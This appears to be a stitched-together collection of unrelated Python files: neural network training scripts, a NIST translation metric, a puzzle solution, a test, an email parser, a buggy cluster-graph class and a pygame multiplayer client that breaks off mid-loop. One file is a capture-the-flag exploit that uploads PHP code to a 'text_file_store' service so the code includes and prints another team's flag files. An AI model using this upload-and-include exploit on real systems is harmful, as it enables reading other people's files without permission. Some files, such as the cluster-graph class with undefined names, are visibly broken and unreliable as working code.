from __future__ import division, print_function, absolute_import
import tensorflow as tf
from tensorflow import keras
import numpy as np
import matplotlib.pyplot as plt

from tensorflow.examples.tutorials.mnist import input_data

# fashion_mnist = keras.datasets.fashion_mnist
# (train_images, train_labels), (test_images, test_labels) = fashion_mnist.load_data()
# mnist = fashion_mnist.read_data_sets()

data = input_data.read_data_sets('data/fashion',
                                 source_url='http://fashion-mnist.s3-website.eu-central-1.amazonaws.com/', one_hot=True)

lr = 0.001 #change to adaptive
num_steps = 1200
batch_size = 1000
display_step = 60

#parameter
num_input = 784
num_classes = 10
dropout = 1.0
lossarr = []
accarr = []

#graph input
X = tf.placeholder(tf.float32, [None, num_input])
print(X)
Y = tf.placeholder(tf.float32, [None, num_classes])
prob = tf.placeholder(tf.float32)

#define layer methods

def conv2dp(x, W, b, strides = 1):
    x = tf.nn.conv2d(x, W, strides=[1,strides,strides,1], padding='SAME')
    x = tf.nn.bias_add(x, b)
    return tf.nn.relu(x)

def conv2dnp(x, W, b,strides=1):
    x = tf.nn.conv2d(x, W, strides=[1,strides,strides,1], padding='VALID')
    x = tf.nn.bias_add(x, b)
    return tf.nn.relu(x)

def maxpool2d(x, k=2):
    return tf.nn.max_pool(x, ksize=[1, k, k, 1], strides=[1,k,k,1],
                          padding='SAME')

#model
def conv_net(x, weights, biases, dropout):
    x = tf.reshape(x, shape=[-1, 28, 28, 1])

    #Convolution_1
    conv1 = conv2dnp(x, weights['wc1'], biases['bc1'])
    #Pool_1
    conv1 = maxpool2d(conv1, k=2)

    #Convolution_2
    conv2 = conv2dp(conv1, weights['wc2'], biases['bc2'])
    #Pool_2
    conv2 = maxpool2d(conv2, k=2)

    #FCL_1
    fc1 = tf.reshape(conv2, [-1, weights['wfc1'].get_shape().as_list()[0]])
    fc1 = tf.add(tf.matmul(fc1, weights['wfc1']), biases['bfc1'])
    fc1 = tf.nn.relu(fc1)
    # Apply Dropout
    fc1 = tf.nn.dropout(fc1, dropout)

    #FCL_2
    # fc2 = tf.reshape(fc1, [-1, weights['wfc2'].get_shape().as_list()[0]])
    fc2 = tf.add(tf.matmul(fc1, weights['wfc2']), biases['bfc2'])
    fc2 = tf.nn.relu(fc2)
    fc2 = tf.nn.dropout(fc2, dropout)

    # #FCL_3
    # fc3 = tf.reshape(fc2, [-1, 50])
    # fc3 = tf.add(tf.matmul(fc3, weights['wfc3']), biases['bfc3'])
    # fc3 = tf.nn.softmax(fc3)
    # fc3 = tf.nn.dropout(fc3, dropout)

    # Output, class prediction
    out = tf.add(tf.matmul(fc2, weights['out']), biases['out'])
    return out

weights = {
    # 5x5 conv, 1 input, 3 outputs
    'wc1': tf.get_variable('WC1', shape = (5, 5, 1, 3), initializer = tf.contrib.layers.xavier_initializer()),
    # 3x3 conv, 3 inputs, 3 outputs
    'wc2': tf.get_variable('WC2', shape = (3, 3, 3, 3), initializer = tf.contrib.layers.xavier_initializer()),
    # fully connected, 108 inputs, 100 outputs
    'wfc1': tf.get_variable('WFC1', shape=(108, 100), initializer= tf.contrib.layers.xavier_initializer()),
    # fully connected, 100 inputs, 50 outputs
    'wfc2': tf.get_variable('WFC2', shape=(100, 50), initializer= tf.contrib.layers.xavier_initializer()),
    # fully connected, 50 inputs, 10 outputs
    # 'wfc3': tf.Variable(tf.random_normal([50, 10])),
    # 10 inputs, 10 outputs (class prediction)
    'out': tf.get_variable('WOUT', shape = (50, num_classes)),
}

biases = {
    'bc1': tf.get_variable('BC1', shape = (3), initializer= tf.zeros_initializer()),
    'bc2': tf.get_variable('BC2', shape = (3), initializer= tf.zeros_initializer()),
    'bfc1': tf.get_variable('BFC1', shape = (100), initializer= tf.zeros_initializer()),
    'bfc2': tf.get_variable('BFC2', shape = (50), initializer= tf.zeros_initializer()),
    # 'bfc3': tf.Variable(tf.random_normal([10])),
    'out': tf.get_variable('BOUT', shape = (num_classes), initializer= tf.zeros_initializer()),
}
# Construct model
logits = conv_net(X, weights, biases, prob)
logits = tf.nn.dropout(logits, dropout)
prediction = tf.nn.softmax(logits)

# Define loss and optimizer
loss_op = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(
    logits=logits, labels=Y))
optimizer = tf.train.AdamOptimizer(learning_rate=lr)
train_op = optimizer.minimize(loss_op)

# Evaluate model
correct_pred = tf.equal(tf.argmax(prediction, 1), tf.argmax(Y, 1))
accuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))

# Initialize the variables (i.e. assign their default value)
init = tf.global_variables_initializer()

with tf.Session() as sess:

    # Run the initializer
    sess.run(init)

    for step in range(1, num_steps+1):
        batch_x, batch_y = data.train.next_batch(batch_size)
        batch_x = batch_x.reshape(-1, num_input)
        batch_y = batch_y.reshape(-1, num_classes)
        # Run optimization op (backprop)
        sess.run(train_op, feed_dict={X:batch_x, Y: batch_y, prob: dropout})
        if step % display_step == 0 or step == 1:
            # Calculate batch loss and accuracy
            loss, acc = sess.run([loss_op, accuracy], feed_dict={X: batch_x,
                                                                 Y: batch_y,
                                                                prob: 1 })
            lossarr.append(loss)
            accarr.append(acc)
            print("Step " + str(step) + ", Minibatch Loss= " + \
                  "{:.4f}".format(loss) + ", Training Accuracy= " + \
                  "{:.3f}".format(acc))

    print("Optimization Finished!")

    # Calculate accuracy for 10000 Fashion MNIST test images
    print("Testing Accuracy:", \
        sess.run(accuracy, feed_dict={X: data.test.images[:10000],
                                      Y: data.test.labels[:10000],
                                      prob: 1}))
    #saving model over here
    # savedmodel = tf.train.Saver()
    # savedmodel.save(sess, './model.ckpt')

    plt.plot(lossarr)
    plt.title('model loss')
    plt.ylabel('loss')
    plt.xlabel('epoch')
    plt.show()

    plt.plot(accarr)
    plt.title('model accuracy')
    plt.ylabel('accuracy')
    plt.xlabel('epoch')
    plt.show()

# print(graphing.history.keys())
# # summarize graphing for accuracy
# # plt.plot(graphing.history['loss_op'])
# # plt.title('model accuracy')
# # plt.ylabel('accuracy')
# # plt.xlabel('epoch')
# # plt.legend(['train', 'test'], loc='upper left')
# # plt.show()
#  summarize graphing for loss
# plt.plot('loss_op')
# # plt.plot(graphing.history['val_loss'])
# plt.title('model loss')
# plt.ylabel('loss')
# plt.xlabel('epoch')
# plt.legend(['train', 'test'], loc='upper left')
# plt.show()
#gittutend


#!/usr/bin/python
# -*- coding: utf-8 -*-

# Exploit du service text_file_store
import sys
from lxml import html
import requests

if len(sys.argv) != 3 :
    print("Exploit du service text_file_store\n\nUsage : " +  __file__ + " [hostname] [target]\n[target] est l'ID du flag de la team participant au CTF");
    exit();

host = sys.argv[1]
target = sys.argv[2]
port = 20093

payload = {"text": """<?php
$dir = '/opt/ctf/text_file_store/rw/';
$files = scandir($dir);
$target_files = preg_grep('#^"""+target+"""_#', $files);
foreach ($target_files as $target_file){
 include($target_file);
}
?>
"""}

upload_resp = requests.get('http://'+host+':20093/uploadFile.php', params=payload)
upload_tree = html.fromstring(upload_resp.content)
flag_link = upload_tree.xpath('//a/@href')[0]
viewfile_resp = requests.get('http://'+host+':20093/'+flag_link)

print(viewfile_resp.text)


import pytest
from pytest_httpx import HTTPXMock

from plurk import AsyncClient
from plurk.models import UserSearchResp

FAKE_APP_CREDENTIALS = ('fake_app_key', 'fake_app_secret')

@pytest.mark.asyncio
async def test_search(httpx_mock: HTTPXMock, user_search_resp_fixture):
    resp_json = user_search_resp_fixture.dict_original()
    httpx_mock.add_response(
        status_code=200,
        json=resp_json,
    )
    async with AsyncClient(*FAKE_APP_CREDENTIALS) as client:
        user_search_resp = await client.user_search.search('')
    assert isinstance(user_search_resp, UserSearchResp)
    assert user_search_resp_fixture.dict_original() == resp_json


import re
import src.classes.logger
import src.libs.util
import email

class Parser:
    def __init__(self, config: dict, msg: email.message.EmailMessage, email_body: str) -> None:
        self.config = config
        self.email_as_dict = {
            'from': msg['from'],
            'subject': msg['subject'],
            'body': email_body
        }

    def parse(self) -> list:
        data = {}
        for parse_type in self.config:
            if parse_type == 'capture_text':
                for item in self.config['capture_text']:
                    for field, search_exp in self.config['capture_text'][item].items():
                        if search_exp != None:
                            result = re.search(search_exp, self.email_as_dict[item])
                            if result:
                                if result.group(1):
                                    print(result.group(1))
                                    data[field.split(',')[1]] = result.group(1)
                            if search_exp == "(.+)" and item == "body":
                                data[field.split(',')[1]] = self.email_as_dict[item]

            if parse_type == 'static_text':
                for field, value in self.config['static_text'].items():
                    data[field.split(',')[1]] = value
        return(data)


# -*- coding:utf-8 -*-

# Python implementation of NIST
# basic
# https://en.wikipedia.org/wiki/NIST_(metric)
# https://www.nltk.org/_modules/nltk/translate/nist_score.html
# https://github.com/moses-smt/mosesdecoder/blob/master/scripts/generic/mteval-v14.pl
# http://www.cnblogs.com/by-dream/p/7765345.html
#
# nltk代码可能还有些问题, 需要再从论文考证
# (*modification?*)  一些小修改

import math
import fractions
from collections import Counter

try:
    fractions.Fraction(0, 1000, _normalize=False)
    from fractions import Fraction
except TypeError:
    from nltk.compat import Fraction

def _ngrams(sequence, n):
    """
    simplify nltk.util.ngrams.
    Return the ngrams generated from a sequence of items, as an iterator.
    list(_ngrams(.., ..))
    """
    for i in range(0, len(sequence)-n+1):
        ngram = tuple(sequence[i:i+n])
        yield ngram

def sentence_nist(references, hypothesis, n=5):
    """
    :param references: reference sentences
    :type references: list(list(str))
    :param hypothesis: a hypothesis sentence
    :type hypothesis: list(str)
    :param n: highest n-gram order
    """
    return corpus_nist([references], [hypothesis], n)

def corpus_nist(list_of_references, hypotheses, n=5):
    """
    与bleu的区别，包括:
    sysoutput_lengths, bp, info
    """
    assert len(list_of_references) == len(hypotheses), "The number of hypotheses and their reference(s) should be the same"
    p_numerators = Counter() # Key = ngram order, and value = no. of ngram matches.
    p_denominators = Counter() # Key = ngram order, and value = no. of ngram in ref.
    sysoutput_lengths = Counter() # Key = ngram order, and value = no. of ngram in hyp.
    hyp_lengths, ref_lengths = 0, 0

    for references, hypothesis in zip(list_of_references, hypotheses):
        for i, _ in enumerate(range(1, n+1)):  # i: 0->n-1  (表示n-1)
            p_i = modified_precision(references, hypothesis, i)
            p_numerators[i] += p_i.numerator
            p_denominators[i] += p_i.denominator
            # sysoutput_lengths[i] += len(hypothesis) - (i - 1)  # sysout, n-gram number of w_i (=denominator? 但这边会出现<=0的情况)
            sysoutput_lengths[i] += len(hypothesis) - i  #  (*modification1*) s_l[0] 应该为 unigram 片段数量, 待求证

        hyp_len =  len(hypothesis)
        hyp_lengths += hyp_len
        ref_lengths += closest_ref_length(references, hyp_len)

    bp = nist_length_penalty(ref_lengths, hyp_lengths)

    p_n = [Fraction(p_numerators[i], p_denominators[i], _normalize=False)
           for i, _ in enumerate(range(1,n+1))]

    # Eqn 2 in Doddington (2002):
    # Info(w_1 ... w_n) = log_2 [ (# of occurrences of w_1 ... w_n-1) / (# of occurrences of w_1 ... w_n) ]
    # add by me. info , 对于一元词汇，分子的取值就是整个参考译文?的长度。(好像没表现出来，求证)
    info = [0 if p_n[i].numerator == 0 or p_n[i+1].numerator == 0
            else math.log(p_n[i].numerator / p_n[i+1].numerator)
            for i in range(len(p_n)-1)]
    # print("+++")
    # print(info)
    # print(sysoutput_lengths)
    # print("+++")
    # return # 但是这边 info_i/sysoutput_lengths[i] 的对应关系还需考虑
    return sum(info_i/sysoutput_lengths[i] for i, info_i in enumerate(info) if not info_i == 0 ) * bp   # (*modification2*) 会出现 zerodivisionerror (如果hyp_len比较短而ref比较多, sysoutput_lengths可能为0或者负)
                                                                                # 但是虽然加了 "if not info_i == 0"， 程序的正确性需要验证。

def modified_precision(references, hypothesis, n):
    """
    same as bleu's modified_precision.
    """
    # Set an empty Counter if hypothesis is empty.
    counts = Counter(_ngrams(hypothesis, n)) if len(hypothesis) >= n else Counter()
    max_counts = {}
    for reference in references:
        reference_counts = Counter(_ngrams(reference, n)) if len(reference) >= n else Counter()
        for ngram in counts:
            max_counts[ngram] = max(max_counts.get(ngram, 0), reference_counts[ngram])  # 参考译文中出现的最大次数

    clipped_counts = {ngram:min(count, max_counts[ngram]) for ngram, count in counts.items()}

    numerator = sum(clipped_counts.values())  # (与参考译文共现的n-gram片段数量)
    denominator = max(1, sum(counts.values()))  # 1 to avoid zerodivision, result will be zero  (译文n-gram片段数目)

    return Fraction(numerator, denominator, _normalize=False)

def closest_ref_length(references, hyp_len):
    """
    same as bleu's closet_ref_length().
    """
    ref_lens = (len(reference) for reference in references)
    closest_ref_len = min(ref_lens, key=lambda ref_len:
                          (abs(ref_len - hyp_len), ref_len))
    return closest_ref_len

def nist_length_penalty(closest_ref_len, hyp_len):
    """
    Calculates the NIST length penalty, from Eq. 3 in Doddington (2002)

        penalty = exp( beta * log( min( len(hyp)/len(ref) , 1.0 )))

    where,

        `beta` is chosen to make the brevity penalty factor = 0.5 when the
        no. of words in the system output (hyp) is 2/3 of the average
        no. of words in the reference translation (ref)

    The NIST penalty is different from BLEU's such that it minimize the impact
    of the score of small variations in the length of a translation.
    See Fig. 4 in  Doddington (2002)

    惩罚因子

    """
    ratio = closest_ref_len / hyp_len
    if 0 < ratio < 1:
        ratio_x, score_x = 1.5, 0.5
        beta = math.log(score_x) / math.log(score_x) ** 2  # about -1.4427
        return math.exp(beta * math.log(ratio) ** 2)
    else:
        return max(min(ratio, 1.0), 0.0)


from collections import deque

dx = [-1, 1, 0, 0]
dy = [0, 0, -1, 1]

def solution(rows, columns, max_virus, queries):
    answer = [[0] * columns for _ in range(rows)]

    q = deque(queries)
    while q:
        x, y = q.popleft()
        x -= 1
        y -= 1

        # 세균이 max_virus 미만인 경우
        if answer[x][y] < max_virus:
            answer[x][y] += 1

        # 세균이 max_virus인 경우
        elif answer[x][y] == max_virus:
            # 주변에 세균 증식이 가능한 정보를 담는 배열
            virus_proliferate_arr = deque([(x, y)])
            # 중복 방문을 피하기 위한 체크 배열
            visited = [[0] * columns for _ in range(rows)]
            while virus_proliferate_arr:
                vx, vy = virus_proliferate_arr.popleft()

                for i in range(4):
                    nx = dx[i] + vx
                    ny = dy[i] + vy

                    # 가능한 경로인지 체크
                    if 0 <= nx < rows and 0 <= ny < columns:
                        # 각 칸의 virus 수 확인 및 증식
                        if visited[nx][ny] == 0 and answer[nx][ny] < max_virus:
                            visited[nx][ny] = 1
                            answer[nx][ny] += 1

                        elif visited[nx][ny] == 0 and answer[nx][ny] == max_virus:
                            visited[nx][ny] = 1
                            virus_proliferate_arr.append((nx, ny))

    return answer

# 다른 코드
# def solution(rows, columns, max_virus, queries):

#     grid = [[0]*columns for _ in range(rows)]

#     def action(i, j):
#         stack = [(i, j)]
#         visited = set([(i, j)])
#         while stack:
#             i, j = stack.pop()
#             if grid[i][j] < max_virus:
#                 grid[i][j] += 1
#             else:
#                 for _i, _j in [(i, j+1), (i, j-1), (i+1, j), (i-1, j)]:
#                     if 0 <= _i < rows and 0 <= _j < columns and (_i, _j) not in visited:
#                         visited.add((_i, _j))
#                         stack.append((_i, _j))

#     for i, j in queries:
#         action(i-1, j-1)

#     return grid

print(solution(3, 4, 2, [[3, 2], [3, 2], [2, 2],
      [3, 2], [1, 4], [3, 2], [2, 3], [3, 1]]))


import torch
import torch.nn as nn
import torch.nn.functional as F

class Net(nn.Module):
    def __init__(self):
        # 继承了nn的Module类 内部封装了autograd 这个类的成员都是requires_grad=True 自动求导的
        super(Net, self).__init__()
        self.conv1 = nn.Conv2d(1, 6, 5)
        self.conv2 = nn.Conv2d(6, 16, 5)
        self.fc1 = nn.Linear(16 * 5 * 5, 120)
        self.fc2 = nn.Linear(120, 84)
        self.fc3 = nn.Linear(84, 10)

    def forward(self, x):
        # 卷积1 后接 relu1
        x = F.relu(self.conv1(x))
        # 最大池化1
        x = F.max_pool2d(x, (2, 2))
        # 卷积2 后接 relu2
        x = F.relu(self.conv2(x))
        # 最大池化2
        x = F.max_pool2d(x, (2, 2))
        # view就是reshape
        single_x_size = 1
        hwc_list = x.size()[1:]
        for hwc in hwc_list:
            single_x_size *= hwc
        x = x.view(-1, single_x_size)
        x = F.relu(self.fc1(x))
        x = F.relu(self.fc2(x))
        x = self.fc3(x)

        return x

def main():
    net = Net()
    # 权值参数
    params = list(net.parameters())
    #n c h w
    x = torch.randn(1, 1, 32, 32)
    out = net(x)
    print(params)
    # 得到前向计算结果
    print(out)
    # 将所有参数的梯度缓存清零 进行随机梯度下降反向传播
    net.zero_grad()
    out.backward(torch.randn(1, 10))

if __name__ == '__main__':
    main()


"""
******************
ClusterGraph Class
******************

This is a class for creating/manipulating Cluster Graphs,
and performing inference over them - currently the only
supported algorithm is Loopy Belief Propagation. Still,
the class structure is in place for easy addition of
any algorithms relying on the Cluster Graph framework.

NOTE: A cluster graph is a generalization of the clique tree
data structure - to generate a clique tree, you first generate
a cluster graph, then simply calculate a maximum spanning tree.
In other words, a clique tree can be considered as a special
type of cluster graph.

"""

__author__ = """Nicholas Cullen <ncullen.th@dartmouth.edu>"""

import numpy as np
import pandas as pd
import networkx as nx

from pyBN.classes.cliquetree import Clique

class ClusterGraph(object):
    """
    ClusterGraph Class

    """

    def __init__(self, bn):
        """
        Initialize a ClusterGraph object

        """
        self.BN = BN
        self.V = {} # key = cluster index, value = Cluster objects
        self.E = []
        self.G = None
        self.initialize_graph(method)
        self.beliefs = {} # dict where key = cluster idx, value = belief cpt

    def initialize_graph(self):
        """
        Initialize the structure of the cluster graph.

        """
        # generate graph structure
        self.bethe()
        # initialize beliefs
        for clique in self.V.values():
            clique.compute_psi()
        # initialize messages to 1
        self.initialize_messages()

    def bethe(self):
        """
        Generate Bethe cluster graph structure.
        """
        self.V = {}
        self.E = []

        factorization = Factorization(self.BN)
        prior_dict = {}
        for factor in factorization.f_list:
            # if factor is just a prior (i.e. already added as rv)
            if len(factor.scope) == 1:
                #self.V[len(self.V)] = Clique(scope=factor.scope)
                #self.V[len(self.V)-1].factors = [factor]
                prior_dict[factor.var] = factor
            if len(factor.scope) > 1:
                self.V[len(self.V)] = Clique(scope=factor.scope)
                self.V[len(self.V)-1].factors = [factor] # assign the factor
        sep_len = len(self.V)
        # First, add all individual random variables
        for rv in self.BN.V:
            # if rv is a prior, don't add it
            if rv in prior_dict.keys():
                factor = prior_dict[rv]
                self.V[len(self.V)] = Clique(scope=factor.scope)
                self.V[len(self.V)-1].factors = [factor]
            else:
                self.V[len(self.V)] = Clique(scope={rv})
                # create a new initial factor since it wont have one
                new_factor = Factor(BN=self.BN, var=rv, init_to_one=True)
                self.V[len(self.V)-1].factors = [new_factor]
        for i in range(sep_len):
            for j in range(sep_len,len(self.V)):
                if self.V[j].scope.issubset(self.V[i].scope):
                    self.E.append((i,j))

        new_G = nx.Graph()
        new_G.add_edges_from(self.E)
        self.G = new_G

    def initialize_messages(self):
        """
        For each edge (i-j) in the ClusterGraph,
        set delta_(i-j) = 1 and
        set delta_(j-i) = 1.
        (i.e. send a message from each parent to every child where the
            message is a df = 1)
        """
        for cluster in self.V:
            for neighbor in self.G.neighbors(cluster):
                self.V[cluster].send_initial_message(self.V[neighbor])

    def collect_beliefs(self):
        self.beliefs = {}
        for cluster in self.V:
            self.V[cluster].collect_beliefs()
            #print('Belief ' , cluster , ' : \n', self.V[cluster].belief.cpt)
            self.beliefs[cluster] = self.V[cluster].belief

    def loopy_belief_propagation(self, target, evidence, max_iter=100):
        """

        This is Message Passing (Loopy Belief Propagation) over a cluster graph.

        It is Sum-Product Belief Propagation in a cluster graph as shown in
        Koller p.397

        Notes:
            1. Definitely a problem due to normalization (prob vals way too small)
            2. Need to check the scope w.r.t. messages.. all clusters should not
               be accumulating rv's in their scope over the course of the algorithm.
        """
        # 1: Moralize the graph
        # 2: Triangluate
        # 3: Build a clique tree using max spanning
        # 4: Propagation of probabilities using message passing

        # creates clique tree and assigns factors, thus satisfying steps 1-3
        cgraph = copy.copy(self)
        G = cgraph.G

        edge_visit_dict = dict([(i,0) for i in cgraph.E])

        iteration = 0
        while not cgraph.is_calibrated():
            if iteration == max_iter:
                break
            if iteration % 50 == 0:
                print('Iteration: ' , iteration)
                for cluster in cgraph.V.values():
                    cluster.collect_beliefs()
            # select an edge
            e_idx = np.random.randint(0,len(cgraph.E))
            edge_select = cgraph.E[e_idx]
            p_idx = np.random.randint(0,2)
            parent_edge = edge_select[p_idx]
            child_edge = edge_select[np.abs(p_idx-1)]
            print(parent_edge , child_edge)

            # send a message along that edge
            cgraph.V[parent_edge].send_message(cgraph.V[child_edge])

            iteration += 1
        print('Now Collecting Beliefs..')
        self.collect_beliefs()
        self.BN.ctree = self


import GameComponents as Gc
from GameComponents.locals import *
import pygame
from pygame.locals import *
from distutils.util import strtobool
import os
import sys
import json
import random
import time
import threading

def get_turn_and_accel_state(pressed) -> tuple[bool, bool]:
    """Fonction permettant de savoir si le joueur est en train de accélérer(ou pas) et si il est en train de tourner(ou pas).

        :param pressed: Un sequence de bool renvoyé par la fonction pygame
        :return: Une tuple de bool où
                = Le premier représente comment le joueur tourne(None si il tourne pas, True si il tourne dans
                le sens de l'aiguille de montre et False à l'envers. )

                = Le deuxième représente si le joueur accélère( True si oui False si non)
    """
    angle_clwise = pressed[K_RIGHT] or pressed[K_d]
    angle_counter_clwise = pressed[K_LEFT] or pressed[K_a]
    t_ = None if not angle_clwise ^ angle_counter_clwise else angle_clwise
    a_ = pressed[K_w] or pressed[K_UP]
    return t_, a_

def generate_score_UI(score: int) -> Gc.UIGroup:
    """
        Fonction permettant de générer le UI de score et de HP.

        :param score: Le score final
        :return: Une instance de UIGroup qui contient les UI.
    """
    sc_font = pygame.font.Font(os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT), SCORE_SIZE)
    gui_sh = Gc.UIGroup(Gc.Coordinate(10, 10, clamp_coordinate=False))
    gui_sh.add_UI_object(Gc.TextUI(sc_font, (217, 211, 211), str(score)),
                         Gc.Coordinate(0, 0, clamp_coordinate=False), 0)
    for x in range(HP):
        gui_sh.add_UI_object(Gc.ImageUI(Gc.ml.dat[HEART], Gc.Coordinate(0, 0)),
                             Gc.Coordinate(-10 + x * Gc.ml.dat[HEART].get_width() + 10, SCORE_SIZE + 10,
                                           clamp_coordinate=False), x + 1)
    return gui_sh

def generate_dead_UI() -> Gc.UIGroup:
    """
        Fonction permettant de générer le texte affiché en haut de l'écran quand le joueur meurt. Jusqu'à que tous les
        joueurs meurent, ce texte est affiché à la place de generate_gameover_window()

        :return: Une instance de UIGroup qui contient le texte.
    """
    font = pygame.font.Font(os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT), 27)
    gui = Gc.UIGroup(Gc.Coordinate(200, 20, clamp_coordinate=False))
    gui.add_UI_object(Gc.TextUI(font, DEFAULT_TEXT_COL, "You died! Spectating the game."),
                      Gc.Coordinate(0, 0, clamp_coordinate=False), 0)
    return gui

def generate_gameover_window(score: int) -> Gc.MenuUI:
    """
        Fonction permettant de générer les UI quand le joueur meurt.

        :param score: Le score final
        :return: Une instance de MenuUI qui contient les UI.
    """
    font_path = os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT)
    score_text = Gc.UI.TextUI(pygame.font.Font(font_path, 13), DEFAULT_TEXT_COL, f"Score: {score}", Gc.Coordinate(0, 0))
    menu = Gc.MenuUI("Game Over", ("Return to the menu", "Quit game"), Gc.ml.dat[ARROW],
                     Gc.objects.Coordinate(SCREEN_DIMENSION[0] / 2 - 110, SCREEN_DIMENSION[1] / 2 - 100),
                     pygame.font.Font(font_path, 25), pygame.font.Font(font_path, 15), Gc.Coordinate(50, 20),
                     Gc.Coordinate(-30, -5), Gc.Coordinate(45, 80), 30, align="left")
    menu.add_UI_object(score_text, Gc.objects.Coordinate(50, 50), 1)
    return menu

class Client:
    """Class qui est utilisée par des joueurs qui veulent joindre une partie."""
    def __init__(self, screen: pygame.Surface, host_ip: str, name: str):
        """
        :param screen: La fenêtre où on affiche le jeu.
        :param host_ip: L'adresse IP de l'hôte
        :param name: Le nom du joueur.
        """
        self.screen: pygame.Surface = screen
        self.host_ip = host_ip
        self.my_ip = Gc.get_local_ip()
        self.name = name
        self.receive = Gc.Receive(DEFAULT_PORT, self._on_response)
        self.connection_state = ""
        self.game_started = False
        self.running = False
        self.other_players: dict[str, Gc.MpPlayer] = {}
        self.nametags: dict[str, Gc.TextUI] = {}
        self.font = pygame.font.Font(os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT), 12)
        self.font_b = pygame.font.Font(os.path.join(os.path.dirname(__file__), TYPEWRITER_FONT), 20)
        self.last_host_response = time.time()
        self.timed_out = False
        self.timeout_detector = threading.Thread(target=self._timeout_detection)
        self.detect_timeout = True
        self.asteroids: dict[int, Gc.Asteroid] = {}
        self.small_asteroids: dict[int, Gc.Asteroid] = {}
        self.bullets: dict[int, Gc.Bullet] = {}
        self.t_bullets = 0
        self.dead = False
        self.spawned = False
        self.me: Gc.MpPlayer = None
        self.score = 0
        self.score_gui = generate_score_UI(self.score)
        self.dead_ui = generate_dead_UI()
        self.game_over_ui: Gc.MenuUI = None
        self.receive.start()
        self.timeout_detector.start()

    # MAIN GAME LOOP
    def loop(self):
        """Fonction appelée pour démarrer le client.
        """
        # >>>>>> CONNECT TO HOST >>>>>>
        self._try_join()
        connecting_txt = Gc.TextUI(self.font_b, DEFAULT_TEXT_COL, "Connecting...", Gc.Coordinate(100, 650))
        connecting_txt.blit(self.screen)
        pygame.display.update()
        while self.connection_state == "":
            if self.timed_out:
                self.stop_client()
                return Gc.TextUI(self.font_b, DEFAULT_TEXT_COL, "Connection timed out(join).", Gc.Coordinate(100, 650))
        self.screen.fill(BG_COLOR, connecting_txt.rect)
        if self.connection_state == COM_GAME_FULL:
            connecting_txt.set_text("Connection error: GAME FULL. ")
            return COM_GAME_FULL
        # <<<<<<

        # >>>>> INITIALIZE >>>>>
        host_send = Gc.Send(self.host_ip, DEFAULT_PORT)
        self.me = Gc.MpPlayer((random.randint(0, 600), random.randint(0, 600)), Gc.ml.dat[PLAYER], self.name, HP)
        mynametag = Gc.TextUI(self.font, DEFAULT_TEXT_COL, self.name,
                              Gc.Coordinate(self.me.cords.x + NAMETAG_OFFSET[0],
                                            self.me.cords.y + NAMETAG_OFFSET[1]))
        # <<<<<<<<

        # >>>>>> WAIT FOR START >>>>>
        connecting_txt.set_text("Waiting for the start...")
        connecting_txt.blit(self.screen)
        pygame.display.update()
        while not self.game_started:
            if self.timed_out:
                self.stop_client()
                return Gc.TextUI(self.font_b, DEFAULT_TEXT_COL, "Connection timed out(lobby).", Gc.Coordinate(100, 700))
        self.running = True
        # <<<<<<<<<

        # >>>>>> START BGM >>>>>>
        bgm_player = Gc.BGMPlayer()
        bgm_player.play()
        # <<<<<<<<

        # >>>>> MAIN LOOP >>>>>
        while self.running:
            # +++CHECK TIMEOUT+++
            if self.timed_out:
                self.stop_client()
                return Gc.TextUI(self.font_b, DEFAULT_TEXT_COL, "Connection timed out(game).", Gc.Coordinate(100, 700))
            # ++++++

            # +++INPUT EVENTS+++
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    self.stop_client()
                    sys.exit()
            pressed = pygame.key.get_pressed()
            # ++++++

            # Fond d'écran
            self.screen.fill(BG_COLOR)
            # +++SHOOT+++
            if not self.dead:
                if pressed[K_SPACE] and self.t_bullets <= 0:  # Generate bullets
                    tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_SHOOT,
                                        f"{self.me.cords.x}{DELIMITER}{self.me.cords.y}{DELIMITER}"
                                        f"{self.me.shoot_vector.x}{DELIMITER}{self.me.shoot_vector.y}",
                                        "")
                    host_send.send_message(json.dumps(tmp_msg.d()))
                    self.t_bullets = round(UPD / 3)
            # ++++++

            # +++SEND CLIENT's POS DATA TO HOST+++
            if not self.dead:
                tmp_msg = Gc.Packet(COM_GAMEDATINFO, COM_PLAYER_POS,
                                    f"{self.me.cords.x}{DELIMITER}{self.me.cords.y}{DELIMITER}"
                                    f"{self.me.angle}{DELIMITER}{Gc.get_local_ip()}", self.name)
                host_send.send_message(json.dumps(tmp_msg.d()))
            # ++++++

            # +++DRAW PLAYERS+++
            s: Gc.MpPlayer
            for ip, s in self.other_players.items():
                self.nametags[ip].set_pos(Gc.Coordinate(s.cords.x + NAMETAG_OFFSET[0], s.cords.y + NAMETAG_OFFSET[1]))
                s.blit(self.screen)
                self.nametags[ip].blit(self.screen)
            # ++++++

            # +++DRAW ASTEROIDS+++
            a: Gc.Asteroid
            for a in list(self.asteroids.values()).copy():
                a.blit(self.screen)
            for a in list(self.small_asteroids.values()).copy():
                a.blit(self.screen)
            # ++++++

            # +++GUI UPDATE+++
            if self.score_gui.length() - 1 > self.me.health:
                self.score_gui.remove(-1)
            self.score_gui.set_text(str(self.score), 0)
            # ++++++

            # +++DRAW BULLETS+++
            b: Gc.Bullet
            for b in self.bullets.values():
                b.blit(self.screen)
            # ++++++

            # +++UPDATES+++
            if self.dead and len(self.other_players) < 1:
                self.running = False
            if not self.dead:
                turn, accel = get_turn_and_accel_state(pressed)
                self.me.update(accel, turn)
                self.me.blit(self.screen)
                mynametag.set_pos(
                    Gc.Coordinate(self.me.cords.x + NAMETAG_OFFSET[0], self.me.cords.y + NAMETAG_OFFSET[1]))
                mynametag.blit(self.screen)
            else:
                self.dead_ui.blit(self.screen)
            self.t_bullets -= 1
            self.score_gui.blit(self.screen)
            pygame.display.update()
            pygame.time.Clock().tick(UPD)
            # ++++++
        # <<<<<<<<

        self.detect_timeout = False
        lock_space = True

        # >>>>>> GAME OVER >>>>>>
        bgm_player.stop()
        self.game_over_ui = generate_gameover_window(self.score)
        while True:
            # +++INPUT EVENTS+++
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    self.stop_client()
                    sys.exit()
            pressed = pygame.key.get_pressed()
            # +++

            # +++KEY INPUTS+++
            self.screen.fill(BG_COLOR)
            if pressed[K_DOWN] or pressed[K_s]:
